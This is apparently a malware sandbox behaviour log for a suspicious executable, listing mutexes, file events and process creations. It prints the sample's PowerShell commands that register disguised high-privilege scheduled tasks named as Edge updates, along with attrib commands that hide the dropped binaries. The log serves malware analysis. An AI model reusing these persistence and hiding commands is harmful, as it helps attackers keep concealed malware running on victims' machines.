Source: C:\$Windows.~WS\Sources\SetupHost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\SetupLog
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5268:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7604:120:WilError_03
Source: C:\Users\user\AppData\WinHex.exe	Mutant created: \Sessions\1\BaseNamedObjects\2024.12.20
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7044:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6728:120:WilError_03
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\WdsSetupLogInit
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7960:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5220:120:WilError_03
Source: C:\Users\user\AppData\LineInst.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Microsoft.Windows.Websetup
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4312:120:WilError_03
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\OneSettingQueryMutex+WSD+Setup360
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2912:120:WilError_03

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI22562

Jump to behavior

Source: T1#U52a9#U624b1.0.1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\$Windows.~WS\Sources\SetupHost.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer, Name, Caption, Architecture, MaxClockSpeed FROM Win32_Processor

Source: C:\$Windows.~WS\Sources\SetupHost.exe

File read: C:\Windows\win.ini

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

File read: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe "C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe"
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe "C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe"
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' "
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../WinHex.exe'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnceMe' -Description 'MicrosoftEdgeUpdatesOnce once You' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnceMe' "
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +s +a +h C:\Users\user\AppData\LineInst.exe&&attrib +s +a +h C:\Users\user\AppData\WinHex.exe&&attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +a +h C:\Users\user\AppData\LineInst.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +a +h C:\Users\user\AppData\WinHex.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +a +h C:\Users\user\AppData\SystemUpdate.exe
Source: unknown	Process created: C:\Users\user\AppData\WinHex.exe C:\Users\user\AppData\Roaming\../WinHex.exe
Source: unknown	Process created: C:\Users\user\AppData\LineInst.exe C:\Users\user\AppData\Roaming\../LineInst.exe
Source: C:\Users\user\AppData\LineInst.exe	Process created: C:\$Windows.~WS\Sources\SetupHost.exe "C:\$Windows.~WS\Sources\SetupHost.Exe" /Download /Web
Source: C:\Users\user\AppData\WinHex.exe	Process created: C:\Users\user\AppData\WinHex.exe C:\Users\user\AppData\Roaming\../WinHex.exe
Source: unknown	Process created: C:\Windows\System32\vdsldr.exe C:\Windows\System32\vdsldr.exe -Embedding
Source: C:\Users\user\AppData\WinHex.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\SystemUpdate.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\SystemUpdate.exe C:\Users\user\AppData\SystemUpdate.exe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Users\user\AppData\SystemUpdate.exe C:\Users\user\AppData\SystemUpdate.exe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1936,i,15628791438985490340,2968363924654632854,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2032,i,4475010063348466522,12630456280325372382,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1968,i,58944968473598260,14066714597260275696,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1988,i,2397862122718210806,12237267871317461974,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2004 --field-trial-handle=2024,i,1043454292865957278,12392202252195058562,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2012,i,4017807827871240827,294443514438666825,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=532930
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=2004,i,15154464915754026399,3836572238122876390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1968 --field-trial-handle=1936,i,10198018738591083414,2483585144497047882,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2008,i,5238929235679066905,12786035706151781453,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1968,i,6157079858765921233,5568951314403497470,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2016,i,15539671429910762002,15161021274924515465,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1148,i,2046368302589155641,3041774423784538269,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2012,i,11408168899703520178,4411795298762762360,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
